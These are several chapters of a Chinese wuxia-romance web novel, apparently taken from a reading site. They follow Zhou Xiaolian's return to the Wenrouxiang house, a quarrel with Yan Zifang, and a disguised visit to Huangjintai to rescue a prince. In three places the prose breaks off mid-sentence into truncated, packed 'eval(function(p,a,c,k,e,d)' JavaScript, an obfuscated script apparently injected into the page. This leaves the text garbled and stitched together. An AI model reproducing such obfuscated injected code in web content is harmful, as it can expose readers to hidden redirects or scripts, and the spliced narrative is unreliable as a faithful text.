苏星拂知道城外出了事情,既然烧香天先出手了,她也懒得继续维系表面和谐。反正韦郡要乱,不如干脆点撕破脸。 她早已安排了桩子在城外接应,只是孟灯铃杀迷糊了路,害人家等到半夜,差点以为是焦青帝亲自出手送走孟灯铃这尊杀神了。 这桩子是个看着比小怜还要小几岁的小女孩,一对耳朵和一双眼睛是最惹人注目的。耳朵宽、厚,眼珠乌黑,圆溜溜,很像苏星拂那只小老鼠成精了。 小姑娘叫苏斩兰,随苏星拂的苏,也不知道两人是什么关系,长得倒也不怎么像。她很不满孟灯铃这么磨蹭,见着人便直哼哼:“要不是坊主叫我接你,我才不来呢!” 孟灯铃捂着耳朵和她掰扯:“哎呀,这我人生地不熟的,你多担待吧二坊主。” “我才不是什么二坊主!”苏斩兰年纪小,很受不了孟灯铃的揶揄。她涨红了脸,像赶羊一样把她们都赶上驴拉的板车。 周小怜燕紫芳两人临紧要关头吵架闹不好,殃及池鱼。好在燕紫芳多数时候扮演一个沉默的哑巴形象,孟灯铃和小怜搭腔,不担心自己说话冒犯他。 小怜默默瞥了一眼燕紫芳,他们没有对上视线,这反而很难得。 苏斩兰一个小孩管两头驴,剩下孟灯铃这头驴正没心没肺的和周小怜说话:“那几个小子到底和你都是什么关系啊?就那个,哎,你都知道了吧?” ……实在很难想象古刹山的人怎么会那么喜欢听别人的事儿。 周小怜还没在板车上忧郁一会儿,听到孟灯铃又往她心事里问。 世人都不爱惹麻烦,古刹山出身孟灯铃却很爱凑热闹,难怪下家到了听全天下热闹的神光斋。但既然都被问了,还不如一吐为快。 小怜道:“露水情缘。” “四个都是?” “都是。” 孟灯铃咂舌,忍不住评价:“虽然识人不淑,但好歹没一个丑的。” “……”说的倒也没错,乌兆星不提。一个甘霖,一个褚见珏,的确识人不淑。 周小怜还是那句话:早知道前一年混江湖的时候不那么爱沾花惹草了,现在搞得谁都有点感情,却又都不那么深。 不过也好歹感情不那么深,不然为了这些男人要死要活被周珊瑚知道了,只怕是真要被打断两条腿。 她又用手肘捅捅小怜腰侧:“现在身边这个呢?” “不熟。”周小怜言简意赅,不全是赌气,现在这个燕紫芳,她打心眼里觉得不太熟。 从前她不想做个为天下人活的人,觉得那样的人蠢得没边了。管好自己的命了不起了,别人的命和她又有什么关系? 怀芳却还是有点崇拜周摘桐的侠义。 可如今她有些变了,怀芳也有些变了。 一个赌上自己的命都要挂念着别人的命;一个不说男女都变了,还劝她只顾着自己好就行。 是谁把他们变成这样了呢? “真不熟假不熟?”孟灯铃笑呵呵盯着小怜的脸蛋,“古刹山上口是心非的人多的很呢,你骗人太拙劣,骗不过我!” 周小怜含糊其辞:“我是洗雪山庄山庄出身的,洗雪山庄骗人的人不多。这是真话,你爱信不信。” 苏斩兰在驴上啊了一声,这会儿才听着小怜两人的谈话才恍然大悟:“这就是那个疯……哥哥说什么真心喜欢的狐狸精姐姐啊?” 周小怜一愣,却听孟灯铃在身旁自然而然地接话道:“什么狐狸精姐姐!人家有名字的,叫小怜好吧。而且你说的那个也不叫什么疯子,叫……” 小怜脱口而出:“甘霖?” “那是另外一个不怎么样的哥哥,”苏斩兰轻车驾熟掌着缰绳,摇头晃脑想了会儿,“喜欢姐姐你的那个哥哥好像叫什么珏。” 小怜自然晓得苏斩兰说的是谁。只是细细想来,不说别的,她不大明白:为什么褚见珏与她也不过匆匆一夜,甚至那人当时还喝醉了酒,说不定原先都不记得她,如今却能装出这么一副情深义重的模样。 周小怜摇摇头:“那不是什么喜欢。” “他只是想扒皮吸髓,物尽其用。我在他眼里,大概不过是枚长得好看一些的棋子,或者一个有些价值的玩物,”小怜手指不知不觉摸上自己垂落的鬓发,“他和你说过我的事情吗?” 苏斩兰点点头:“嗯,这个哥哥有点神戳戳的。苏姐姐不喜欢他,他偶尔来过一两次,拐弯抹角找上我,说要我信佛,信佛有用的。” “他以前打猎,猎到过一只很少见的狐狸。可惜后来不小心让红狐狸跑了,那是他第一次失手也是唯一一次失手。那个哥哥说他自那之后日夜跪倒在一尊佛首前潜心祈求,求上天怜悯他,将他的狐狸还给他。” 小怜闻言一愣,苏斩兰这段话不可不谓诡谲,一阵粘连不断的缠绵恶感爬上她的脊背,胳膊上生出许多鸡皮疙瘩,汗毛倒竖。 “但是第二次来温柔乡的时候,他跟我说:‘若是你信佛,是真的会有用的。我在日月江北遇见了狐狸,我想把她捉住,却没想又脱手一回。可她给我了第三次机会。淮南有九个郡,她偏偏来了这里。’” 小怜心在胸腔里狂跳:第一次是在京畿醉仙楼,第三次是在韦郡,第二次呢?洗雪山庄? 那时候她与褚见珏压根没见上几面。逃走的那一夜,甘霖更是说褚见珏去喝酒绊着周庄主,那是给谁提供了机会? 正在周小怜神游天外之际,苏斩兰又道:“不过他满口谎话,我不喜欢。信佛信神,不如求己,再不济也可以求神光斋。” 周小怜下意识问道:“他说了什么谎?” “除了那些稀奇古怪的狐狸,什么都是谎话,”苏斩兰心不在焉道,“他还说他不会武功,但靠近指缝的指内侧里有茧子,右手拇指要比左手大一些,常用箭才会磨出来。” 周小怜福至心灵,顺着苏斩兰的指引接着问:“你意思是他箭用得很好,是吗?” 苏斩兰道:“君子六艺有射,会用箭不稀奇。只不过寻常儿郎平平无奇,凑合过了考校,根本不够看。那个大哥哥只是看茧子,便知道是用箭的能手了。” 所以洗雪山庄那一夜想要她命的,也许根本不是她以为的阮真棋。 “哈。”周小怜被自己蠢得忍不住,冷笑一声。 她原以为那夜是利用了他们,是自己骗人,一回两回三回,有些问心有愧,对不起四男。 没想到如今一切大白。除了志不在此,是来抓人来的阮真棋外,甘霖和褚见珏帮着彼此遮遮掩掩,都对自己虎视眈眈。 原来被他们设入圈套中的,是她。 若是那夜她真的没心没肺随甘霖离开,只怕今时今日洗雪山庄已彻底倾覆,自己也是羊入狼窝,自身难保。 多情会害人,无情倒是救了自己一命。可怜男人只会倒霉,事教人一次就明白…… 小怜长长舒了一口气,想到大家都没心没肺,很好。她之后也不必再一次两次的为先前的事情动摇,一颗柔软的心镇定了许多:“苏星拂派你来,一定说了别的话是吗?她已经和烧香天撕破脸,只能与我做一条绳上的蚂蚱了。” 苏斩兰也不含糊,见小怜这么快缓过神来,心中还有几分肯定之意。只不过眼下不便表现,她道:“苏姐姐说,去黄金台吧。” 看来是阮真棋。小怜了然于心,苏星拂会走这一步棋并不出乎意料。眼下整座韦郡,都是她与褚见珏和烧香天搏杀的棋盘。 苏星拂眼下孤立无援,不知神光斋斋主又是作何思量。但一目了然的是,身为外来者的苏星拂,相较之褚见珏、烧香天合手,她手中的棋子明显不够。 她要去挖出新的棋子为自己所用。 除了小怜,便是在最初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“褚家和康宁镖局搭上线,又靠着康宁镖局和焦青帝搭上线——哦,对,焦青帝原本是土匪出身的,也不是韦郡的人。” “不是韦郡本地人吗?” “不是,她闯出名堂是在京郊那一带。只不过今时不同往日,她帮上面的人做事,背景已洗得一干二净,早就没那么好查。”这是说神光斋也就只了解到这些关于焦青帝的事情了。 她的过往看似一片清白。可焦青帝是土匪出身,怎么可能手上没沾上点血。焦秦剑是犯下大罪的恶人,焦青帝只会有过之而无不及。 苏斩兰与周小怜所想也差不多,她继续道:“只不过彼时焦青帝初来韦郡,便能把那会在韦郡算如日中天的辛家灭个七七八八。谁信她手上干净,谁是傻瓜呢……” 周小怜噤声不语,心中已暗自梳理起来:以甘霖的话来看,焦青帝是想要从辛慎手里拿到什么。辛慎若真为皇帝做事,褚家和焦青帝甚至和他算得上共事,何必自相残杀? 只怕褚家和焦青帝心里头早已有了当反贼的心思。 皇帝身居高位,也并非对此全然不知。他没有完全信任褚家和焦青帝,而是选择将秘密托付给辛慎。 这个秘密威胁到了焦青帝本身,还是焦青帝所要做的事情?无论是哪一点,焦青帝都必须得到这个被辛慎带走的匣子。 只是辛慎在辛家破灭后走得很远,寻得洗雪山庄的庇护,他在洗雪山庄里藏了很久。久到周小怜长大成人,已经十七岁,能找出一个疑似是藏着秘密的匣子,并把它带到韦郡。她可以帮虞雪海报仇,也可以阻止焦青帝的阴谋…… 可这一切难道应该是她生来就要承担的吗?小怜不敢细想,也不敢把自己的作为与责任放在一把秤的两端。 做善事不求回报,有时候更多的是,知道回报难以比及付出。与其事后心存不满,还不如一开始便说服自己,是个天性良善的好人。 漫长的夜晚与阴云笼罩在韦郡的上空太久了,小怜抬起头,正好望向破晓的天际,灿烂的金光漫射于苍蓝天穹之间。 苏斩兰的声音缥缈起来,她说:“我们快到了。” 天要亮了。 35. 合流 入城时倒还算得顺利,只是孟灯铃和周小怜两人满身的血,吓着了不少人。 孟灯铃好说歹说是什么野禽的血,今日看守的官兵又曾在温柔乡见过孟灯铃弹琵琶,知道惹不起这群背靠温柔乡的人,这才睁一只眼闭一只眼,将她们放了进去。 众人走小路七拐八拐,从后门回到温柔乡。没想到上次从这离开时,孟灯铃还劝说让小怜几人逃走。一日不到,几人已经在同一条贼船上了。 真是世事无常,小怜心中感慨。 入内之后,小怜才发现温柔乡楼内昏暗无光,门窗紧锁,也不点烛,不做生意了。 坊里的姑娘们倒是三三两两坐着说笑闲聊,似乎门外山雨欲来与她们毫无关系。不过毕竟一行人浩浩荡荡的回来,也引来不少姑娘侧目,小怜总觉得有一道相当隐蔽的视线正看着她……回过头却空无一物。 恰在此时,周小怜身旁迎上来一位身着黛色的娘子。她似乎在这里等了许久,见到她们才松了口气:“你们终于回来了,昨夜来了好多人。” 苏斩兰与她点点头:“嗯,苏姐姐在哪?” 娘子在前头领路,正说着:“在等你们呢。坊主见你们迟迟没有回来,早坐不住了,若不是被人绊住……”话音未落,周小怜已看见苏星拂满脸怨气的站在众人面前。 “我差点就要去和焦青帝拼命了。”她冷冷抛下一句,神态憔悴,似是彻夜未眠,也不知道昨夜发生了什么。 苏斩兰遇上苏星拂有些生怯,虽然折腾了一夜晚归这件事再怎么也怪不上苏斩兰,可她对苏星拂有种天生的耗子对上猫的感觉。 还是孟灯铃嘻嘻哈哈的站出来解释:“我的错,你别怪二坊主。我路上耽误了些时间,累着她在那等着也不容易……” 苏星拂没有领情,冷冷睨了孟灯铃一眼:“我光说了她,没说你是吧?孟灯铃,你的命值几个钱?我让斩兰子时等不到你人就回来,城门那我都安排好了,结果她非要等你!我白欠一个人情!” “……好好好,算我头上,算我头上。”孟灯铃自认倒霉,把苏斩兰往自己身后掖了掖,两个人各挨个的训。 苏星拂说完这一串,也稍稍在周小怜这外人面前冷静了些许。她瞥向一旁装聋作哑的周小怜,长长叹了口气:“施仙娥死了。” 哪怕回来的路上几人早已做过如此猜想,小怜与她实在说不上多么情深意切,不过两相利用,饶是如此……还是心中一跳。 “怎么死的?”她问。 苏星拂皱了皱眉:“你不知道?我以为你们一起回来的会遇……不对。” 她抬起头又扫过小怜这一行人,这才发现有些不对劲的地方:“那胖子没和你们一起回来?” “……哎呀。”孟灯铃轻轻唤了一声。 周小怜和孟灯铃都想到那颗被孟灯铃踢开的头了。 苏星拂正困惑地盯着两人,温柔乡二楼又传来一声虚弱至极,不阴不阳的声音:“我哥呢?” 小怜循着这道熟悉的声望去,视线定在站在二楼栏杆处,被裹得看不出个人样的家伙身上。 从这人身形到声音,不难认出,此人正是当初在客栈和她对骂的迦南香四子之一。 想起在客栈那一出,小怜下意识想看向燕紫芳。可想着两个人还在吵架,周小怜又硬生生忍下了扭头的欲望。 此人照理来说是烧香天出身,这时应该算是众人的敌人。 可眼下苏星拂留他在温柔乡,他也不似先前在客栈那会一样,主动向周小怜攻来。 想来至少现在,这个人,甚至说情同兄弟或者根本就是兄弟的迦南香四人,是和他们站在一边的。 既如此,昨夜找上孟灯铃的迦南香应该是友非敌。 甚至可能是苏星拂见他们久久未归,派出来找他们的。 此人之死虽与小怜无关,但当时也算是亲耳听到了孟灯铃杀人的事实。 她眼神不自觉地望向身旁的孟灯铃,对方却好像一切都与她无关一样,坦然对着楼上的人道:“死了。” 苏星拂似乎已觉察出有些不对劲的地方,她盯着孟灯铃。楼上的人身形摇晃,但好歹没一下子就倒下去,只是他声音微微颤颤,死撑着道:“怎么……怎么死的……” “不知道,可能被找上我们的烧香天撞见了,头都被砍下来了,”孟灯铃咧开嘴,露出一口白森森的牙齿,“早说那是你哥哥,我会帮你把那颗头带回来的。” 情势如此,没必要把真相道出。周小怜也不反驳孟灯铃的胡诌,只是看着那具不成样子的身体转了回去,一步一步往房间里挪,直至身影彻底消失。 苏星拂对孟灯铃笃定道:“你杀了他。” 孟灯铃杀了谁?没必要说清楚。楼下的人心知肚明,楼上的人尚且还不清楚孟灯铃是什么货色。 可悲的是,他应该这辈子也不会清楚了。 孟灯铃还是那张笑脸对人:“是啊,怎么了?他运气不好,偏凑在我动刀的时候上来,想拦我没拦住,反倒被我杀了。原来是为着说小施的事来的,是不……” 孟灯铃话还没说完,苏星拂已经抬手扇了她一巴掌。 她的左脸肉眼可见飞快地红了起来,脸颊上完完整整的留下了苏星拂的掌印,苏星拂打的很是用力,不是在做戏。 苏星拂恨恨道:“再有下次,我会把纳尔玛找来。” 这倒是个有点耳熟的名字,小怜直觉这名字的主人与古刹山有关系,但具体是谁,又想不起来。 孟灯铃神色晦暗不清,不说话了。苏星拂管完手下的人,终于又能分心对付起小怜这边:“见笑了,其他事情去我房中谈吧。慈恩,把斩兰和灯铃带下去。” 慈恩是带着几人往里走的娘子。她一直候在旁边,苏星拂发话便低眉垂眼应下,两只手推着苏斩兰的肩膀,又朝孟灯铃使了个眼色。三个人一起往其它姑娘围坐的地方走去。 周小怜、燕紫芳和苏星拂往楼上走,一路无言,直至抵达三楼,迈进那间来过一次的房中。 三人各司其职,该坐的坐,该站的站。苏星拂喝了口茶,终于缓和道:“那对母女在二楼收治,已歇下了,你不必担心。其它多的你若是想问,可以之后再问。眼下我只与你说两件要紧的事。” “其一,刚才也说过,小施死了。昨日你们前脚离开,后脚迦南香就滚了进来。小施被焦青帝一掌拍碎了脑袋,不过好歹她临死前让人交代了……接下来我要和你说的第二件事。” 周小怜与甘霖一战,又目睹安水村惨案,对这些生生死死已经有些麻木。何况一路上孟灯铃也跟她反反复复地说过施仙娥迟早会死…… 她像被吸干了精气一样,游离道:“什么事?” 苏星拂幽幽道:“皇子在黄金台,得救人啊。” “……你们不是早知道吗。” “只是知道他们扣住人,韦郡那么大的地方,我怎么知道他们把人关哪去了,”苏星拂哂笑,“没那么神通广大。” 周小怜沉默了一会儿,才道:“昨夜温柔乡里都来了什么人,说了什么?” 听小怜提及昨夜,苏星拂又顺手拿来一个玉枕垫着手肘,寻了个没骨头的舒服姿势,斜靠在榻上:“来了你的好姘头……说嘛,不过就是让我们不要插手管这事情,把虞家那对母女交出去。剩下的你,还有你旁边那位鹭点烟汀出身的,他们自有处理。” “……第一次来的时候,你故意引导我们那个人不在韦郡,实际也是因为褚见珏,是不是?”小怜看着手中茶汤涟漪水环,喃喃道,“甘霖也是他让你安排在这里的。” 苏星拂被小怜拆穿,语气却渐渐轻松下来,她毫不避讳的承认下所有:“是。神光斋和康宁镖局、烧香天都有生意做,要杀人左右不是我亲自动手,如果你们真死了在那里,烧香天自会帮我收拾残局。” “那为什么……你后来又要帮我?甚至当着褚见珏的面,让孟灯铃告诉我那消息有问题……”小怜想起昨日要离开时,褚见珏靠过来的样子,不禁困惑地看着她。 “有人给我了他们都给不起的东西呀,”苏星拂耸肩,看似无奈,眼神却落在了小怜身后的燕紫芳身上,“我做生意,只在乎谁给我的报酬高。不过你当我还有点点,一点点良心尚存,也未尝不可。” 小怜顺着苏星拂的眼神回头看去,燕紫芳正站在门口。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“看我提心吊胆无可奈何,很好玩吗?” 这样几乎无理取闹的争吵好像让他们回到了幼稚的童年,燕紫芳咬牙切齿道:“是你先忘了我的!” “你不是发现了吗,你的记忆有问题。周小怜,你能告诉我,怀芳是什么时候死的,是怎么死的吗?” “自然是——” 自从意识到这段记忆里有着相当严重的谬误后,小怜再难接受怀芳是不治而亡的回忆。 此时被怀芳本人提起这段错误,她僵硬地愣在原地,一动不动。 “欠我命的不是别人。周小怜,是你,一直都是你和你父亲。” 燕紫芳拧着一口气,他本来不想那么快说出这句话。一直以来,燕紫芳只想等周小怜一点点,一步步,只要知道了杭红真,她迟早会记起来的。 可昨夜那句不能作数的话,让他那颗与一切感情暌违已久的心,也彻底失控。 他的世界里只有周小怜,也唯有周小怜不能和他不作数。 周珊瑚有洗雪山庄;乌兆星有自己的仇;甘霖、褚见珏、阮真棋三人对她算计多过真心,唯有自己,所追逐的,赖以生存的,只有周小怜。 燕紫芳眼眶有些发红,他说到动容,头却往反方向撇。两人吵架语气不善,他不想让周小怜看见自己失态,眼泪又不受控制地流。 他只能用如此卑劣的手段在这场争吵中困住她,周小怜太过自由,只有愧疚才可以让她不能离开自己,不能厌烦自己。 “你别不要我。” “你欠了我,不能不要我。” 他的话激得周小怜浑身发抖。她不能理解这从天而降的欠命债是怎么一回事。燕紫芳不可能骗她,可她真欠了燕紫芳一条命吗?她不记得了…… 周小怜深吸一口气。她脑子记不清了,口齿意外清楚,她已经下定决心不让自己再受这些事所困,或产生短暂的困扰:“一切结束,我们回洗雪山庄。我会向周珊瑚问清那些事情。” 至于现在,现在不是和燕紫芳仔仔细细去掰开这些的时候。 周小怜稳定心神,又转身向苏星拂烦躁道:“救人是吧?还有其他人吗,我一个人人手不够。” “啊……”苏星拂看够了热闹,笑语晏晏,连连道,“有的呢,有的呢,有熟人的。” 36. 胥梦难观(1) 原本去劫人该是晚上偷摸着干的,但小怜来到韦郡时日尚短,最初也并非是单纯的为了游历而来。因此,她从来没去过黄金台,也对黄金台知之甚少。 再者,苏星拂虽然得了些独门情报,可毕竟黄金台占地不小,兼之楼台高筑,林立于花叶之中。 人多眼杂的情况下盲目去找一个阮真棋,无异于大海捞针。 阮真棋一个有手有脚,武功不凡的皇子会被扣押在黄金台中,也足以说明烧香天应与黄金台里那些僧侣也有勾结。 而且那些僧侣应当也身怀不俗武功。全盛时的周小怜与阮真棋曾经也至少是五五开,小怜对自己的武功还有些自信。可他们竟然能彻彻底底地压制住阮真棋,让他这么久都没找到能出来的漏洞。 种种因素环环相扣,若是贸然闯入,只怕是死路一条。 周小怜托着腮,看着马车车内发呆。 她从温柔乡出来前,被姑娘们好一通打扮,都听说她要去黄金台,姑娘们都拿出看家的本领往她身上使。 这会儿她上半身身着一条深青绿的褙子,下身是印着折枝花卉纹水蓝色的裙。 她头发鲜少梳成这样一丝不苟的样式,往常都是随便拿簪子挽起来就作数。今日是温柔乡里的姑娘专门给她盘了双螺髻,还簪了些压箱底的珠翠头花。 周小怜很感激,但顶着这一头还是深觉脖子累。 表面上是以礼佛之名去黄金台,实则是偷摸记住那儿的地形分布。不过光小怜一人扮作途径此地,虔诚信佛的贵女还不够…… 周小怜抬起脚,脚尖轻轻踢了一下坐在对面的乌兆星的脚踝,故作轻松地开口:“你怎么不说话?” 乌兆星在温柔乡不见踪迹,现在又受苏星拂之邀突然出现。明明两人只是一天一夜不见,周小怜却觉得他好像已经经历很多事情,过了很久。 被小怜这么一打岔,乌兆星才对着面前的少女缓过神来。他一直期盼着能与小怜两人独处,现在真的同处一室,他却又被别的绊住了心神。 乌兆星纵使心中有事,却也还是会扯扯唇角,勉强神色镇定道:“怎么了,姐姐?” “你遇到了什么事情?”小怜看着他,问的理所当然。 虽然她曾经因为害怕乌兆星而逃,可将来她说不定会踏上和乌兆星一样的道路。她要杀别人眼中的好人,那她就是坏人了,和乌兆星将没什么两样。 周小怜是有些自暴自弃,她又道:“脸色很难看。” 这样与他面对面相谈已经是很久以前的事情了。看着乌兆星的眼睛,这是当时他们在歌玉山相依为命时留下的习惯。 其实周小怜最初认识的乌兆星其实并不怎么粘人,也不怎么爱说话。在那段只有两个人的时光里,除了每天穿梭在不一样的洞穴中躲避追兵,小怜还要费尽心机防着他时不时寻死。 乌兆星不想被救,当时的他一意孤行的认为自己的这条命在第二次陷入绝境时,就该死的彻底点。 可偏偏小怜那日从歌玉山过,她骑着马被追杀乌兆星的追兵盯上,一队乌压压的人把她团团围住,歌玉山禁行,被他们撞见的来一个杀一个 周小怜没和他们殊死一搏,而是转身跳下山崖。 山崖不算高,她笃定自己跳了也不会死,最多摔断骨头。那块斜坡把她送到一片废墟中,小怜正好压在乌兆星身上。 小怜是没伤了,但是乌兆星的伤因此更加严重。 “喂,喂?!”当时周小怜眼看自己砸晕一个人,心里别提有多慌乱。她连拍了乌兆星脸颊几下,乌兆星都没什么反应。 周小怜壮着胆子伸手去搬他的身体,摸着了满手的血——她被这样的情景吓坏了,却还不到成为叫出声的惊弓之鸟的程度。 她跪在乌兆星的身旁,头顶漏进来微弱的日光,小怜壮起胆子去探乌兆星的鼻息。死了就埋,没死……没死就带着跑。 呼——吸——都微弱得很,废墟里随便从哪吹来的一阵风,都能把他的鼻息掩盖了。 周小怜心定了几分,知他没死,她就要践诺把这肉垫子兄台带上一起逃跑:“算我欠你的……”周小怜因乌兆星而活,她咬紧一口牙,开始背着比她身形大了一圈的乌兆星亡命天涯。 奔波上不知多少时候,两个人才勉强逃出包围。 乌兆星很是纠结,他斟酌许久,不安地揉了几回自己的后脖颈。 小怜一动不动地看着他,乌兆星对小怜的目光很没办法。他背负的东西有些多,如果曾经不是周小怜老要掰开他的嘴问,乌兆星只会把自己闷到郁郁而终。 乌兆星道:“姐姐,如果有一天你发现,你的过去……可能和你一直以来以为的很不一样,你会怎么办呢?” “……”这次轮到小怜失语了。 不过,关于这个于她而言是同样的问题,乌兆星想要得到的答案,她没有思考很久。 周小怜笑着伸手,故作开朗。她把手搭在乌兆星的膝盖上揉了揉,说给他听的话,也是说给自己的听的:“那……就去搞清楚之前的事情吧。还能怎么办呢?” “木已成舟,船到桥头自然直。” “……果然姐姐就是姐姐。”乌兆星听到周小怜的答案,就像是服下一剂定心丸一样松了口气。 他从原本坐着的位子上起身,跪坐在小怜的腿边。 乌兆星伸出两臂,抱住周小怜的小腿,向来握管刀剑的双手只是小心翼翼地拢住她的裙摆,生怕摸出半分褶皱。 做完一切,他轻轻地把头靠在小怜的大腿上。 小怜从高处望着他的侧脸,乌兆星的神情安宁又迷茫。他像抱住浮木的溺水之人,也像无处可去,寻一处足以安心栖息的幼犬。 “……陪我回歌玉山好不好,姐姐。”乌兆星喃喃,手收紧了几分,“我有东西弄丢在那里了,我想回去看看。” 周小怜低着头看他,平静道:“倘若平息一切,一定。” “那,谢谢姐姐。” 周小怜道:“不要拉钩约定了吗?” 乌兆星道:“对姐姐心怀期望的话,我总会失望,既如此,还是让一切顺其自然吧。” 他苦笑了一声,又转过一点头,这次整张脸都埋在了小怜的双膝中。 “就算姐姐这次无缘陪我,我也要再回去一次歌玉山的。” 小怜无言,她闻到一阵花香隐隐游入车内。神游天外的想:大抵是已经快到黄金台了吧。 车厢中很是静谧,唯有两人的呼吸声,衣料互相摩擦过的簌簌声。 周小怜望着他的发顶,指尖不知不觉就勾住他的鬓边碎发。她静默了一会儿,喃喃道:“阿星,真对不住。”说得不大走心。 乌兆星又摇了摇头。 他只是说:“姐姐,一切是我自愿,不必对我这样。” 小怜收回目光,她心中毫无波澜,只依稀感受到与乌兆星之间似乎也正在渐行渐远。 她的过去在洗雪山庄内,而乌兆星的过去呢? 江湖上对他的来历讳莫如深。周小怜只知道许多人说他横空出世,是无父无母的孤儿,一个寻仇的魔头。他寻完仇,却还没有收手,杀人无数,就连少林如今的方丈也无法说服他向善。 乌兆星杀了人,很多人。他要回到歌玉山,那他的过去在歌玉山吗?苏星拂说的歌玉山灭门血案,是不是和他有关系呢? 乌和巫…… 周小怜指尖一顿。 她收回手,强迫自己不再顺着想下去。如今她自身难保,经历过甘霖,褚见珏两人的事之后,她更是已不想再对此,或者说对他们感到心酸和愧疚。 这或许是迁怒,可周小怜已经太疲惫。她的心只有一颗,到底给了谁,都不如攥在自己手里好。 马车缓缓停下,乌兆星先行下车。他扮的是小怜的侍卫,穿戴低调,几乎一身玄色。乌兆星没见过什么高官贵族出行的做派,傻傻的愣在马车旁,还是小怜出声提醒:“胳膊支过来一些。” 她用一把团扇遮住自己大半张脸,美人如隔云端轻雾,人花两相映。小怜本就长相秀美,今日仔细打扮一番,更显其国色天香,不少行人纷纷侧目。 小怜扶着乌兆星的胳膊下车,她一举一动也很是别扭,往日都是自己从马上跳下来的,哪有要人扶着的时候? 周小怜只是先前在京畿待过一段时日,比乌兆星了解一些大家闺秀们出行大概是如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这人怎么会出现在这里?周小怜惊讶,可仔细想想之前的经历,倒也默默把激动的快要跳出来的心吞了回去。 而对面的女子见了小怜,也是一愣。她怔在原地,引得身旁的老者困惑:“张施主,您这是……” 黄金台这一代的主持,脸上嵌着一双吊梢眼,黑眼仁,有些老鼠相,但长得远不如苏星拂的老鼠可爱。可能是小怜觉得他相由心生,隔着扇子,不动神色的打量了他一眼,又快步迎上去,握住了面前傻愣女子的手:“张家姐姐?你怎么在这里。真是凑巧,你还记得我吗?” 记得肯定是记得的,小怜这么一说,那女子又缓过来了些。只是它刚想开口,又被小怜截住话头:“梵芙原,我们一起在那儿放过灯。你说你见了我,要比见了你亲妹妹还要亲!我是辛……” 小怜下意识地想用辛辛那个假名字,可一想到甘霖和辛慎,她就有点像吃了苍蝇一样恶心。 一句话千回百转,她脱口而出:“我是心儿呀!” “心儿?”女子下意识攥紧周小怜的手,担忧之色溢于言表,“你……等等再说。住持,我没什么别的事情了,至于驰援的事情,还劳你们多费心。” “这是我之前在绥城认识的妹子。至于黄金台,之后我再自己走走就是。” 她语速极快,小怜挂着笑都笑到脸颊僵住。黄金台住持不动声色的在三人之间来回扫视,缓缓道:“既如此,贫僧不打扰张施主了,请。” “请。” 目送主持离开之后,小怜还没松口气,就被那女子掰着下巴扭过头,两双眼睛就这样直勾勾望着彼此。 “周、小、怜,”那女子似乎对小怜出现在此地很是生气,就像是被戏耍了一番,“你家里不是说你重病吗,啊?你是逃婚啊!逗大家伙好玩吗,嗯?” 周小怜腮帮子都被这手劲大得很的女人捏红,她无辜至极,眨着眼道:“嘿嘿,昆玉姐,许久不见。我没生病,真是不好意思。你先别生气,我眼下还有别的事情要问你。” 张昆玉,绥城的张大娘子,半信半疑的看着手指里谄媚笑着的狐狸精:“你这丫头鬼灵精。说吧,想问什么?” 周小怜也不从张大娘子手机挣脱开来。她咳嗽一声,清清嗓子,正色道。 “你来这,还是为了找你妹妹吗?” “和我做一个交易吧,昆玉姐。我知道她的下落。” 37. 胥梦难观(2) 绥城张大娘子英武无双,世上豪侠多如牛毛,论功绩作为,她年纪轻轻,已不输给许多浮名在外的前辈。 再者,张大娘子谦逊和善。当年叛逆离家的周小怜在绥城也受其照拂开解,虽然没什么用,小怜当时一直说她是:“未经他人苦,只劝他人善。” 但张昆玉到底是心肠柔软的老好人,若是让她比小怜先遇到虞家母女,只怕如今如琼鱼坊这样的地方已片甲不留,什么蔺松蔺树的早就被交出来了。 张大娘子总念着与人为善,让人实在很难讨厌她。 况且张昆玉家中也是一地鸡毛,衰败零落。只不过她格外坚韧顽强,一人也能撑着一个大家族光鲜亮丽的外衣。 三人走到大雄宝殿后的一处廊下角落里,周小怜还未站稳,脖颈外侧便感受到一阵凉意。 两把长剑剑身相抵,张昆玉看着面前的少年皱眉。她行走江湖已久,乌兆星并未刻意在面部做什么伪装,她自然在甫一见面时便已认出乌兆星:“你被他挟持了?” 张昆玉这句话是对小怜说的。 乌兆星横在小怜脖颈上的剑一动不动,他饶有兴致地看着小怜站在他身前与张昆玉对峙。 周小怜一把团扇压在他们两人交锋的剑上:“没有,你看看他用的剑。” 张昆玉目光顺着小怜的话移去,见到剑身,惊诧道:“这是你的……” “我的铜凤。”小怜点点头,毫不遮掩道:“我与他是一伙的。” 张昆玉的神色随着周小怜的话愈发沉了下去,她自然明白小怜的话是什么意思。若不是顾念旧情,张昆玉已经二话不说,一剑砍来了。 可正因为面前之人是周小怜,她还是耐着性子冷声劝慰:“他是人人得而诛之的魔头,小怜,过来。” 周小怜摇摇头:“我只是来与你讲生意的,你不想知道张露笑的消息吗,昆玉姐?放下剑吧。” 饶是张昆玉这般正义的人物,身边也有一个始终割舍不下的人,张昆玉彼时愿与年纪轻轻的小怜交好,当时也有从小怜身上看见她亲妹妹张露笑的原因。 “小露是小露,”张昆玉良久才艰难道。她追查张露笑踪迹已久,最初会在江湖漂泊也是因为张露笑失踪,她要找到这个亲妹妹,“我不能为了她坏了武林安宁。” 此话一出,张昆玉像是下定决心一样,煞为郑重的重复一遍:“我不能为了她坏了武林安宁。” 现在与张昆玉从头说起还要向她证实甘霖一行人的事情。纵使周小怜与张昆玉有故友之谊,她也不敢保证张昆玉会信自己多少…… 毕竟正如甘霖所说,他比小怜在江湖上要更具善名。 周小怜进退两难之际,倒是乌兆星先撤下剑。他看着小怜的侧脸,却是对着张昆玉平静道: “张大娘子,请你帮她。” 